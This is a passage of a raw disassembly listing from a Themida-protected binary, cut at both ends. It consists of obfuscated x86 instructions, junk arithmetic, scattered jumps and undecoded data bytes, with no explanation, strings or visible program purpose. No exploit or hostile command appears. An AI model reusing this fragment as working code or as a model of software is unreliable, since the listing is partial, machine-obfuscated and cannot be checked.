Themida_:00567F45j pop esi sub esp, 4 mov [esp], edx jmp loc_55ADF6 ; --------------------------------------------------------------------------- loc_56A87E: ; CODE XREF: Themida_:0055EAA3j mov ebx, 7CDC7D52h neg ebx push eax mov eax, 6C7C5624h jmp loc_561929 ; --------------------------------------------------------------------------- loc_56A890: ; CODE XREF: Themida_:0055ED9Cj add edi, 4 sub esp, 4 mov [esp], ebp jmp loc_567C5E ; --------------------------------------------------------------------------- loc_56A8A1: ; CODE XREF: Themida_:0055DEC3j mov [esp], ebx push 4 pop ebx sub edi, 526A1609h add edi, ebx push esi jmp loc_55E29E ; --------------------------------------------------------------------------- loc_56A8B8: ; CODE XREF: Themida_:0055AC7Fj mov ebx, 201F1B1Ah not ebx shr ebx, 8 jmp loc_56B718 ; --------------------------------------------------------------------------- a_1Rh? db '_1цRh+?',0 align 10h dd 0FF6A44E9h db 0FFh byte_56A8D5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00556100o dd 5EE95224h, 29FFFF87h, 2434FFC1h, 0FF3023E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A8E9: ; CODE XREF: Themida_:0055EB12j sub dword ptr [esp], 1A6C4462h mov edi, [esp] add esp, 4 jmp loc_56D2DB ; --------------------------------------------------------------------------- loc_56A8FB: ; CODE XREF: Themida_:00569292j add ebp, 1E6E51E4h jmp loc_56A617 ; --------------------------------------------------------------------------- loc_56A906: ; CODE XREF: Themida_:0055BA56j pop ecx shl esi, 1 push ebx mov ebx, 81D3ACC4h xor esi, ebx jmp loc_55BF10 ; --------------------------------------------------------------------------- dw 505Bh dd 3636BE56h, 0F089166Bh, 0FFDA99E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A925: ; CODE XREF: Themida_:00564F2Dj movzx eax, ax jmp loc_55A98B ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 8 dd 0D1FCEB81h, 0DA011E45h, 2414875Bh, 0FF16D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_56A941: ; CODE XREF: Themida_:00562C2Bj sub dword ptr [esp+4], 48A2236h add [esp+4], edi add dword ptr [esp+4], 48A2236h pop edi jmp loc_55650B ; --------------------------------------------------------------------------- loc_56A95B: ; CODE XREF: Themida_:0055EB8Bj xchg edi, [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_56CED6 ; --------------------------------------------------------------------------- loc_56A974: ; CODE XREF: Themida_:0055F0F5j mov bh, ch jmp loc_565746 ; --------------------------------------------------------------------------- loc_56A97B: ; CODE XREF: Themida_:005649BCj add edi, 50A2942h dec edi shr edi, 7 sub esp, 4 mov [esp], esi mov esi, 6E7F553Dh and edi, esi pop esi sub edi, 84FC047Bh jmp loc_5582E9 ; --------------------------------------------------------------------------- loc_56A99E: ; CODE XREF: Themida_:005600EFj neg ebx jle loc_563633 and ebx, 7E8589Eh jmp loc_5673BD ; --------------------------------------------------------------------------- loc_56A9B1: ; CODE XREF: Themida_:00556A3Bj add edi, 4 jmp loc_55CF02 ; --------------------------------------------------------------------------- loc_56A9BC: ; CODE XREF: Themida_:0055D630j mov ecx, [esp] push edx jmp loc_560B7C ; --------------------------------------------------------------------------- loc_56A9C5: ; CODE XREF: Themida_:00559F70j mov edi, 25E8019Eh push esi mov esi, edi jmp loc_56D694 ; --------------------------------------------------------------------------- dw 0C89h dd 5FBCB924h, 0BF5779D4h, 760C05D5h, 0E902EFC1h, 0FFFF7DCFh ; --------------------------------------------------------------------------- loc_56A9E8: ; CODE XREF: Themida_:0056695Dj xor ebx, 41A636B8h pop esi add ecx, 703A1120h add ecx, 32703F10h add ecx, ebx sub ecx, 32703F10h sub ecx, 703A1120h pop ebx sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_556CD0 ; --------------------------------------------------------------------------- loc_56AA25: ; CODE XREF: Themida_:0055F672j jmp loc_55CE08 ; --------------------------------------------------------------------------- loc_56AA2A: ; CODE XREF: Themida_:0056ACB8j push 6EADh mov [esp], ebp mov ebp, 0FCAF2152h jmp loc_569AE8 ; --------------------------------------------------------------------------- loc_56AA3C: ; CODE XREF: Themida_:loc_562F67j push edi jmp loc_569E57 ; --------------------------------------------------------------------------- loc_56AA42: ; CODE XREF: Themida_:0055D5BAj pop edx jmp loc_559EC6 ; --------------------------------------------------------------------------- loc_56AA48: ; CODE XREF: Themida_:005593E9j xor ecx, 327741EAh neg ecx sub esp, 4 mov [esp], eax push 702Dh mov [esp], edi push 619B229Fh pop edi jmp loc_56CAB7 ; --------------------------------------------------------------------------- loc_56AA69: ; CODE XREF: Themida_:005638F2j add ebx, 3AC77CBAh add ebx, 362022FDh sub esi, ebx mov ebx, [esp] add esp, 4 jmp loc_56C454 ; --------------------------------------------------------------------------- loc_56AA85: ; CODE XREF: Themida_:0056ADEDj push edx mov edx, 9871F4Ah jmp loc_56B835 ; --------------------------------------------------------------------------- dd 5C6DF381h, 8D0F2F42h, 0FFFFB5D0h, 0FF72A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_56AAA1: ; CODE XREF: Themida_:005658F5j pop ebx jmp loc_562796 ; --------------------------------------------------------------------------- db 83h dd 1C3304C4h, 241C3124h, 0FFA045E9h db 0FFh ; --------------------------------------------------------------------------- loc_56AAB5: ; CODE XREF: Themida_:0055CBA8j mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55C390 ; --------------------------------------------------------------------------- loc_56AACD: ; CODE XREF: Themida_:00569358j xor edi, 3A715714h push ecx mov ecx, 73810606h add ecx, 0E9702906h jmp loc_563BF0 ; --------------------------------------------------------------------------- loc_56AAE4: ; CODE XREF: Themida_:00561571j ; Themida_:00567E08j push edx mov dh, 0C3h xor dh, 4Bh xor dh, 77h push eax mov ah, 0C6h jmp loc_56CFBA ; --------------------------------------------------------------------------- db 5Bh, 83h, 0C4h dd 5764E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AAFE: ; CODE XREF: Themida_:005642E7j add edx, 4 jmp loc_556D9C ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFFE9DCh, 5F2434FFh, 4C481h, 0F1890000h, 0C7BE565Eh dd 81670060h, 0E11D13E6h, 27EE8163h, 81511249h, 0C0C31E6h dd 81E6D12Ah, 0EE570ACEh, 89C6813Dh, 8130FDABh, 2428C2C1h dd 81F12920h, 2428C2E9h, 0F9015E20h, 180DE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AB56: ; CODE XREF: Themida_:00558AF2j push edx push eax mov eax, 7A747C70h mov edx, 0C67E0629h add edx, eax pop eax sub ecx, edx jmp loc_5595B9 ; --------------------------------------------------------------------------- loc_56AB6C: ; CODE XREF: Themida_:0055918Fj pop ecx add cl, bh mov bx, [esp] add esp, 2 jmp loc_56C30F ; --------------------------------------------------------------------------- loc_56AB7B: ; CODE XREF: Themida_:00559817j or eax, 137E441Bh xor eax, 541B033Ch sub eax, 4809372Ch xor ebx, eax pop eax add esi, ebx jmp loc_556E9C ; --------------------------------------------------------------------------- loc_56AB94: ; CODE XREF: Themida_:0056569Aj add edx, edi sub edx, 1FF568C9h pop edi sub esp, 4 jmp loc_55F2F9 ; --------------------------------------------------------------------------- loc_56ABA5: ; CODE XREF: Themida_:005655A8j mov ebx, 7DD15608h dec ebx add ebx, 75EB4CA0h shl ebx, 8 and ebx, 38FC7745h sub esp, 4 jmp loc_556691 ; --------------------------------------------------------------------------- loc_56ABC2: ; CODE XREF: Themida_:0056608Bj pop esp mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] and ebx, 42375EF9h jmp loc_5590C3 ; --------------------------------------------------------------------------- byte_56ABEB db 0FFh ; DATA XREF: Themida_:00556294o dd 45E93C77h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56ABF3: ; CODE XREF: Themida_:0055B76Aj or ebx, 491A468Ch jno loc_56C409 shl ebx, 2 or ebx, 65C879CAh add ebx, 92020006h loc_56AC0E: ; DATA XREF: Themida_:005561FCo mov ecx, [esp] push 3CDEh jmp loc_55948B ; --------------------------------------------------------------------------- loc_56AC1B: ; CODE XREF: Themida_:0055E1C9j mov edx, 3A33080Eh add edx, 34F052B9h dec edx shl edx, 4 jmp loc_56BD92 ; --------------------------------------------------------------------------- loc_56AC2F: ; CODE XREF: Themida_:00569B6Fj push 47A1h mov [esp], edx push 1C77h mov [esp], esp jmp loc_55B56B ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF3148h ; --------------------------------------------------------------------------- loc_56AC4C: ; CODE XREF: Themida_:0055969Cj xchg ebx, [esp] mov esp, [esp] mul cx push small 68CFh jmp loc_564545 ; --------------------------------------------------------------------------- loc_56AC5E: ; CODE XREF: Themida_:005582DBj shr edx, 7 sub edx, offset dword_4F1E38 sub ebx, edx pop edx xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, 0D997D32h mov edi, ebx pop ebx push edi sub dword ptr [esp], 55143997h jmp loc_56588F ; --------------------------------------------------------------------------- dw 0F301h dd 8324348Bh, 0EB8104C4h, 4, 0E9241C33h, 0FFFF1482h ; --------------------------------------------------------------------------- loc_56AC9C: ; CODE XREF: Themida_:0056903Dj rol dword ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56ACA5: ; CODE XREF: Themida_:00563C05j push dword ptr [esp+4] mov edi, [esp] jmp loc_5617E4 ; --------------------------------------------------------------------------- loc_56ACB1: ; CODE XREF: Themida_:00561E7Cj xor ebx, 27D01445h dec ebx jmp loc_56AA2A ; --------------------------------------------------------------------------- db 83h, 0EFh, 4 dd 8B243C87h, 56E92424h, 52FFFF3Bh, 0FF984BE9h, 81C601FFh dd 0A814EBC6h, 0EE815856h, 4, 5C243487h, 54243489h, 468525Eh dd 8B000000h, 0C4832414h, 6CC68104h, 14F9431h, 4EC81D6h dd 89000000h, 4DE9240Ch db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AD0B: ; CODE XREF: Themida_:00556870j add esi, 2D8D54D4h add esi, 381A69A3h mov eax, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, esp push edx push eax mov eax, 70CD05BEh push edx mov edx, 75CF175Eh add eax, edx mov edx, [esp] add esp, 4 xor eax, 6E9D1006h jmp loc_55BA22 ; --------------------------------------------------------------------------- loc_56AD4E: ; CODE XREF: Themida_:005607B5j sub edx, 30BC7975h jmp loc_5625AF ; --------------------------------------------------------------------------- db 29h, 0D0h, 5Ah dd 0AA549A05h, 2DD82940h, 40AA549Ah, 0FEC4EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56AD6D: ; CODE XREF: Themida_:0056AFCBj mov eax, esp add eax, 4 add eax, 4 jmp loc_563F46 ; --------------------------------------------------------------------------- loc_56AD7E: ; CODE XREF: Themida_:00568D11j push esi jmp loc_556C9C ; --------------------------------------------------------------------------- loc_56AD84: ; CODE XREF: Themida_:0055D226j pop esi jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56AD8A: ; CODE XREF: Themida_:005665C6j or ebp, 4BC17662h jp loc_562580 shl ebp, 2 jz loc_5564FE xor ebp, 2FBEFDBCh loc_56ADA5: ; CODE XREF: Themida_:00560380j pop esp xor ebx, esi pop esi add ebx, 3B65A92h xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 push ecx mov ecx, esp push esi mov esi, 4 jmp loc_55B16E ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 0E9000000h, 0FFFECEA7h ; --------------------------------------------------------------------------- loc_56ADD4: ; CODE XREF: Themida_:0055A6C2j push ebp push ecx jmp loc_5580D1 ; --------------------------------------------------------------------------- db 0B9h dd 591C4AF9h, 0F9E9CF01h db 0FFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56ADE7: ; CODE XREF: Themida_:00566BAAj mov esi, ebp push esi pop ecx pop esi pop ebp jmp loc_56AA85 ; --------------------------------------------------------------------------- loc_56ADF2: ; CODE XREF: Themida_:005564A1j dec esi jp loc_55F8F6 or esi, 51A20675h jl loc_5568D5 add esi, 0FB7F574Bh add esi, 84CEA1BCh jmp loc_562405 ; --------------------------------------------------------------------------- dw 0ED81h dd 236D43C5h, 8324048Bh, 2C8704C4h, 34895C24h, 39346824h dd 30E90000h db 0FAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56AE33: ; CODE XREF: Themida_:0056C149j mov dh, 2Ah jmp loc_565552 ; --------------------------------------------------------------------------- loc_56AE3A: ; CODE XREF: Themida_:005582C8j mov [esp], eax mov eax, 50EF4918h add eax, 0EA1210A1h push edi mov edi, eax mov ebx, edi pop edi jmp loc_556DEC ; --------------------------------------------------------------------------- loc_56AE52: ; CODE XREF: Themida_:00556AC5j push edx push ecx pop edx pop ecx not ecx xor edx, ecx xor ecx, edx xor edx, ecx add edx, 95C83EB4h add edi, edx pop edx inc edi xor edi, 0FF8E0B2Ch add ebp, edi pop edi jmp loc_56372E ; --------------------------------------------------------------------------- loc_56AE76: ; CODE XREF: Themida_:00569D28j add ebp, 4 push ebx jmp loc_567CB2 ; --------------------------------------------------------------------------- loc_56AE82: ; CODE XREF: Themida_:0055E7CBj pop edx jmp loc_55A444 ; --------------------------------------------------------------------------- dd 33240C31h, 248B240Ch, 4EC8124h, 89000000h, 8152241Ch dd 4ECh, 241C8900h, 0FA88C788h, 0FF2E23E9h db 0FFh ; --------------------------------------------------------------------------- loc_56AEAD: ; CODE XREF: Themida_:0055CD16j ; Themida_:00566BCCj xor ebx, 7E630006h jmp loc_56A6FC ; --------------------------------------------------------------------------- loc_56AEB8: ; CODE XREF: Themida_:0056425Dj neg esi jp loc_557E4F push ebx mov ebx, 5E734638h jmp loc_566090 ; --------------------------------------------------------------------------- loc_56AECB: ; CODE XREF: Themida_:00556B0Cj pop eax pop ecx sub esp, 4 mov [esp], ebx mov bl, dh mov ch, bl push dword ptr [esp] pop ebx jmp loc_563CBC ; --------------------------------------------------------------------------- db 1 dd 0E157E9F1h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56AEEA: ; CODE XREF: Themida_:00567F92j mov [esp], edi sub esp, 4 jmp loc_55D22B ; --------------------------------------------------------------------------- loc_56AEF5: ; CODE XREF: Themida_:00559782j pop ebp push 75FDh mov [esp], ebp push esp pop ebp push ebx jmp loc_558CB3 ; --------------------------------------------------------------------------- loc_56AF06: ; CODE XREF: Themida_:0055A9F8j xor al, cl push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_56187F ; --------------------------------------------------------------------------- dd 6624248Bh, 9C240CFFh, 0FEB3BEE9h, 0F1685EFFh, 89000053h dd 0A3E9240Ch db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AF37: ; CODE XREF: Themida_:00560173j mov bh, ah pop eax sub bh, 39h jmp loc_5617AB ; --------------------------------------------------------------------------- loc_56AF42: ; CODE XREF: Themida_:0055D67Aj neg cl jmp loc_5652DC ; --------------------------------------------------------------------------- loc_56AF49: ; CODE XREF: Themida_:005639DAj mov eax, 18590BCEh jmp loc_568C93 ; --------------------------------------------------------------------------- db 81h dd 0B71BC5CFh, 418D0F54h, 81FFFF2Ch, 4B5605E7h, 7D800F2Ch dd 81FFFFE5h, 856B05E7h, 9283E964h, 489FFFFh, 7A3FB824h dd 46E910BFh db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AF83: ; CODE XREF: Themida_:00564BCCj push ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] pop esp jmp loc_567B0D ; --------------------------------------------------------------------------- db 4Bh, 0E9h, 44h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AF9B: ; CODE XREF: Themida_:0055D372j mov edi, 36236E0Dh not edi jmp loc_55B88E ; --------------------------------------------------------------------------- loc_56AFA7: ; CODE XREF: Themida_:00560204j or eax, eax jmp loc_56C284 ; --------------------------------------------------------------------------- loc_56AFAE: ; CODE XREF: Themida_:0055DAE5j mov ecx, [esp] jmp loc_5603C2 ; --------------------------------------------------------------------------- loc_56AFB6: ; CODE XREF: Themida_:0055AC29j sub ebx, 8487A53Ah mov edx, ebx pop ebx add edx, 741B1D01h jmp loc_56AFD9 ; --------------------------------------------------------------------------- loc_56AFCA: ; CODE XREF: Themida_:0055B25Fj ; Themida_:0055E5D8j push eax jmp loc_56AD6D ; --------------------------------------------------------------------------- loc_56AFD0: ; CODE XREF: Themida_:00557DE4j pop small word ptr [esp] jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56AFD9: ; CODE XREF: Themida_:0056AFC5j sub edx, ebx sub edx, 741B1D01h jmp loc_55EB98 ; --------------------------------------------------------------------------- dw 850Fh dd 464h, 488E0F48h, 2DFFFEF6h, 22D8157Fh, 73DE68h, 241C8900h dd 0B97DDFBBh, 0E3C14B5Dh, 6EBC103h, 0B8EB8143h, 0E903B72Fh dd 0FFFF7353h ; --------------------------------------------------------------------------- loc_56B018: ; CODE XREF: Themida_:00569243j push 411Eh mov [esp], eax jmp loc_558DFA ; --------------------------------------------------------------------------- loc_56B025: ; CODE XREF: Themida_:00561BE2j xor eax, ecx jmp loc_56C300 ; --------------------------------------------------------------------------- loc_56B02C: ; CODE XREF: Themida_:00565D7Aj shl edi, 3 add edi, 0DB71DCFBh xor ebp, edi pop edi sub ecx, ebp pop ebp sub ecx, eax add ecx, 10851EB8h sub ecx, 4CD9794Dh pop eax pop ebx sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], ebx jmp loc_56357D ; --------------------------------------------------------------------------- loc_56B05C: ; CODE XREF: Themida_:00561F03j mov ebp, eax jmp loc_569F76 ; --------------------------------------------------------------------------- db 8Ah dd 0C483241Ch, 2EC8102h, 66000000h, 0F6241C89h, 5B662414h dd 0E95EEB80h, 0FFFEC9CFh ; --------------------------------------------------------------------------- loc_56B080: ; CODE XREF: Themida_:00562238j push ecx push edx jmp loc_5606ED ; --------------------------------------------------------------------------- db 50h dd 405E089h, 83000000h, 0FF5004C0h, 0E9042474h, 0FFFEB4D1h ; --------------------------------------------------------------------------- loc_56B09C: ; CODE XREF: Themida_:00558AE8j mov edi, esp push ecx mov ecx, 66892293h xor ecx, 38715D1Ah jno loc_55CB78 jmp loc_55683E ; --------------------------------------------------------------------------- db 0E9h, 0E2h, 0CEh dd 0C501FFFEh db 58h, 0B5h, 0B9h ; --------------------------------------------------------------------------- loc_56B0BF: ; CODE XREF: Themida_:00565ECDj pop ebx xor esi, 7F4C1E24h push ebp mov ebp, 237C5C2Eh inc ebp add ebp, 1251FB93h sub ebx, ebp pop ebp sub ebx, 737D4A7Ah add ebx, esi add ebx, 737D4A7Ah add ebx, 35CE57C2h mov esi, [esp] add esp, 4 add ebx, 1 and ebx, 267F237Bh sub ebx, 2BC01705h jmp loc_5649C1 ; --------------------------------------------------------------------------- dd 0E4EB8143h, 89868F4Dh, 0F1E95BDAh, 0B6FFFF1Eh, 0FFF00059h dd 0E95A2434h, 0FFFF80B4h, 335FFE01h, 39E92434h, 83FFFF86h dd 0C8704E9h, 75A3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B136: ; CODE XREF: Themida_:005686E8j ; Themida_:0056A35Cj add ebp, edx add ebp, 537008B7h pop edx xor ebp, [esp] jmp loc_5572A2 ; --------------------------------------------------------------------------- loc_56B147: ; CODE XREF: Themida_:0056D08Dj add eax, 0D726113h jmp loc_563E87 ; --------------------------------------------------------------------------- db 5Ch, 4Dh, 0C1h dd 0BA5204EDh, 4E58236Fh, 815AD501h, 95D744C5h, 5DEE8964h dd 0FF152BE9h, 38ACB8FFh, 57E926C4h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B177: ; CODE XREF: Themida_:00557118j xchg edx, [esp] jmp loc_55C246 ; --------------------------------------------------------------------------- loc_56B17F: ; CODE XREF: Themida_:loc_567B58j push cx push eax mov al, 9Eh sub al, 0E1h jmp loc_560FCE ; --------------------------------------------------------------------------- loc_56B18B: ; CODE XREF: Themida_:loc_56426Fj add edx, 0C003E887h add ebx, 640F6461h jmp loc_560DF4 ; --------------------------------------------------------------------------- loc_56B19C: ; CODE XREF: Themida_:005608E8j xor ah, dl jmp loc_560881 ; --------------------------------------------------------------------------- db 81h dd 0E22E03EDh, 6870F16h, 53FFFF7Dh, 705E45BBh, 0F4A4E93Ch db 2 dup(0FFh) word_56B1BA dw 8B66h ; DATA XREF: Themida_:00556254o dd 0A6682404h, 8900001Eh, 0B868242Ch, 89000022h, 4832424h dd 0E1E90424h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B1D7: ; CODE XREF: Themida_:0055B094j add eax, 56C00856h add eax, ebx sub eax, 56C00856h jmp loc_5566DF ; --------------------------------------------------------------------------- loc_56B1E8: ; CODE XREF: Themida_:0056C24Bj add ebx, ecx push esi push edx mov edx, 73813DF1h mov esi, edx pop edx add ebx, esi mov esi, [esp] add esp, 4 add ebx, 11373C83h mov ecx, [esp] sub esp, 4 jmp loc_5659F2 ; --------------------------------------------------------------------------- loc_56B210: ; CODE XREF: Themida_:005665DFj push 6B84A6Ah pop ebp xor ebp, 0DF1CF991h jmp loc_564250 ; --------------------------------------------------------------------------- loc_56B221: ; CODE XREF: Themida_:00558378j or edi, eax pop eax push eax mov eax, 1956428h jmp loc_55FD79 ; --------------------------------------------------------------------------- loc_56B22F: ; CODE XREF: Themida_:0056B7D9j push 2671h mov [esp], edi push ecx push 25722A9Eh pop ecx jmp loc_56C537 ; --------------------------------------------------------------------------- loc_56B243: ; CODE XREF: Themida_:0055D5A0j push esp pop edi push ecx push edi mov edi, 4 mov ecx, edi pop edi add edi, ecx pop ecx sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_558DA4 ; --------------------------------------------------------------------------- loc_56B266: ; CODE XREF: Themida_:00562AB0j pop esi jmp loc_556BF0 ; --------------------------------------------------------------------------- loc_56B26C: ; CODE XREF: Themida_:005658CCj ; Themida_:00565DCDj pop esi xchg ebx, [esp] jmp loc_562F52 ; --------------------------------------------------------------------------- db 0Fh, 8Bh, 5Ah dd 8100000Dh, 1C2h, 97B85000h, 29E17B33h db 0C2h ; --------------------------------------------------------------------------- loc_56B289: ; CODE XREF: Themida_:00565058j add esp, 4 not dh dec dh jmp loc_564E5A ; --------------------------------------------------------------------------- loc_56B295: ; CODE XREF: Themida_:0055C884j push ebx jmp loc_558927 ; --------------------------------------------------------------------------- loc_56B29B: ; CODE XREF: Themida_:0056D00Ej pop esi push edi mov edi, 438C0C21h sub edi, 46A239CDh inc edi xor edi, 0FCE9D251h jmp loc_5677A0 ; --------------------------------------------------------------------------- loc_56B2B4: ; CODE XREF: Themida_:0055A2FAj neg dl add dl, 0FAh add al, dl pop edx mov ecx, [esp] add esp, 4 push eax push esp pop eax add eax, 4 sub eax, 4 jmp loc_565BE5 ; --------------------------------------------------------------------------- loc_56B2D5: ; CODE XREF: Themida_:005582EBj pop edi shl ebp, 2 jmp loc_569621 ; --------------------------------------------------------------------------- loc_56B2DE: ; CODE XREF: Themida_:00566D8Dj mov [esp], eax mov ah, 84h mov dl, 22h xor dl, ah pop eax add dl, 0BDh shr dl, 5 jmp loc_5672D3 ; --------------------------------------------------------------------------- loc_56B2F3: ; CODE XREF: Themida_:0055A986j add esp, 4 jmp loc_55CC4C ; --------------------------------------------------------------------------- loc_56B2FE: ; CODE XREF: Themida_:0056D33Aj sub esp, 4 jmp loc_55B914 ; --------------------------------------------------------------------------- dw 248Bh dd 240C8924h, 9F685954h, 0E9000067h, 0FFFF2BD9h dword_56B318 dd 24048B66h, 8904EC83h, 0E389241Ch, 0FECDECE9h ; DATA XREF: Themida_:0055609Co db 0FFh ; --------------------------------------------------------------------------- loc_56B329: ; CODE XREF: Themida_:0056C09Dj mov [esp], ecx mov edx, [esp] sub esp, 4 mov [esp], edx jmp loc_565FAA ; --------------------------------------------------------------------------- loc_56B33D: ; CODE XREF: Themida_:0055885Ej add esi, 4C382ADFh jz loc_55E7D9 and esi, 51927BF5h jbe loc_569115 not esi add esi, 40003166h add ebx, esi jmp loc_56D0DD ; --------------------------------------------------------------------------- loc_56B364: ; CODE XREF: Themida_:0055AE6Bj push esi push 28412C8Eh jmp loc_559386 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 4C681h, 34870000h, 9C0AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B386: ; CODE XREF: Themida_:00561F6Fj sub cl, 92h shl cl, 3 sub cl, 0Eh jmp loc_5617DD ; --------------------------------------------------------------------------- loc_56B394: ; CODE XREF: Themida_:0055827Dj xor esi, 62C53543h jmp loc_5612A5 ; --------------------------------------------------------------------------- db 89h dd 5BE2434h, 894C2439h, 0C9815EF1h, 290E1B6Bh, 3E68E981h dd 0D9F77F2Bh, 9AD8E981h, 0C801FF4Fh, 8B2434FFh, 5450240Ch dd 40558h, 4050000h, 0E9000000h, 0FFFF5BC7h ; --------------------------------------------------------------------------- loc_56B3D8: ; CODE XREF: Themida_:00561DC4j jmp loc_562BF4 ; --------------------------------------------------------------------------- db 51h, 0B9h, 61h dd 0E91BA235h, 0FFFEFB2Dh ; --------------------------------------------------------------------------- loc_56B3E8: ; CODE XREF: Themida_:0056BA51j mov ebp, 50193C43h push ecx jmp loc_559720 ; --------------------------------------------------------------------------- db 0BBh dd 23E9332Bh, 2EFFC381h, 0EB813CB1h, 0E6B7365Bh, 26FC681h dd 0DE0119D6h, 26FEE81h, 0E95B19D6h, 0FFFF3A0Dh ; --------------------------------------------------------------------------- loc_56B418: ; CODE XREF: Themida_:00565CD7j pop esi push eax mov eax, 2F732CC1h add edi, eax pop eax sub edi, eax sub edi, 2F732CC1h pop eax xchg edi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_564AEA ; --------------------------------------------------------------------------- db 58h, 81h, 0C4h dd 4, 0E051BA52h, 0D529D546h, 0E9EA095Ah, 0FFFF08F8h, 0BA8E0F48h dd 2DFFFF2Dh, 22D8157Fh, 0FFA371E9h, 0DFC581FFh, 8B22BC03h dd 6BE92434h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B46F: ; CODE XREF: Themida_:00559F45j ; Themida_:0056523Fj push ebx jmp loc_567D19 ; --------------------------------------------------------------------------- loc_56B475: ; CODE XREF: Themida_:0055F46Cj add esp, 4 xchg ecx, [esp] pop esp add al, 0DBh push cx jmp loc_564C1A ; --------------------------------------------------------------------------- loc_56B488: ; CODE XREF: Themida_:0055EE62j add edx, edi mov edi, [esp] add esp, 4 push edx mov edx, 79527B32h jmp loc_564D4A ; --------------------------------------------------------------------------- loc_56B49B: ; CODE XREF: Themida_:00556A96j mov edx, 2CB77AD8h add edx, 6FCBD63h sub edi, 4E6608C8h sub edi, edx add edi, 4E6608C8h jmp loc_55DC08 ; --------------------------------------------------------------------------- loc_56B4B9: ; CODE XREF: Themida_:0056C53Dj jmp loc_5698CB ; --------------------------------------------------------------------------- loc_56B4BE: ; CODE XREF: Themida_:0055BD43j ; Themida_:005661DBj add eax, edx pop edx push ebp push 668076D9h pop ebp push edx jmp loc_55F630 ; --------------------------------------------------------------------------- loc_56B4CE: ; CODE XREF: Themida_:00565E8Ej push edx jmp loc_55A461 ; --------------------------------------------------------------------------- loc_56B4D4: ; CODE XREF: Themida_:0056D249j xor edi, ecx pop ecx mov esi, edi mov edi, [esp] jmp loc_565356 ; --------------------------------------------------------------------------- db 66h, 31h, 4 dd 0FCE99C24h db 0ADh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56B4EB: ; CODE XREF: Themida_:00560AE7j and edi, 43FA6AE2h shl edi, 4 add edi, 0FEDC0D8Fh jmp loc_565A1B ; --------------------------------------------------------------------------- loc_56B4FF: ; CODE XREF: Themida_:00565EBAj push edx mov edx, 4FAD3F88h jmp loc_565511 ; --------------------------------------------------------------------------- dw 0EF81h dd 5E75459Ch, 0FF777BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56B515: ; CODE XREF: Themida_:0055BA1Dj and edi, 1D6F0D77h dec edi add edi, 0F3A2F09Ah sub ebx, edi pop edi add ebp, ebx jmp loc_56A25F ; --------------------------------------------------------------------------- dd 0F02E2C0h, 0FECB8285h, 83D6E9FFh, 0D031FFFFh db 5Ah, 1, 0C6h ; --------------------------------------------------------------------------- loc_56B53F: ; CODE XREF: Themida_:005606F9j ; Themida_:00564D45j add edx, 0BCA3F1C6h mov ecx, edx pop edx jmp loc_55A9BC ; --------------------------------------------------------------------------- loc_56B54D: ; CODE XREF: Themida_:0056C34Ej mov eax, 5D6420FFh jmp loc_5666A1 ; --------------------------------------------------------------------------- loc_56B557: ; CODE XREF: Themida_:0056306Ej ; Themida_:005693A8j xor esi, ecx pop ecx sub ebp, 500E55F9h jmp loc_55FA56 ; --------------------------------------------------------------------------- loc_56B565: ; CODE XREF: Themida_:0055F4AAj push small 66BFh pop cx jmp loc_55FAEA ; --------------------------------------------------------------------------- loc_56B570: ; CODE XREF: Themida_:0055C5DEj pop ax jmp loc_56D62A ; --------------------------------------------------------------------------- db 55h dd 53575D54h, 0FF2699E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B581: ; CODE XREF: Themida_:0055B681j pop esp and ecx, ebx pop ebx shr ecx, 7 push dword ptr [edi+1Ch] push 849h jmp loc_56318A ; --------------------------------------------------------------------------- db 0E9h, 0E5h, 0DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B59A: ; CODE XREF: Themida_:0055C9D2j mov [esp], edi mov edi, 4 add esi, edi mov edi, [esp] add esp, 4 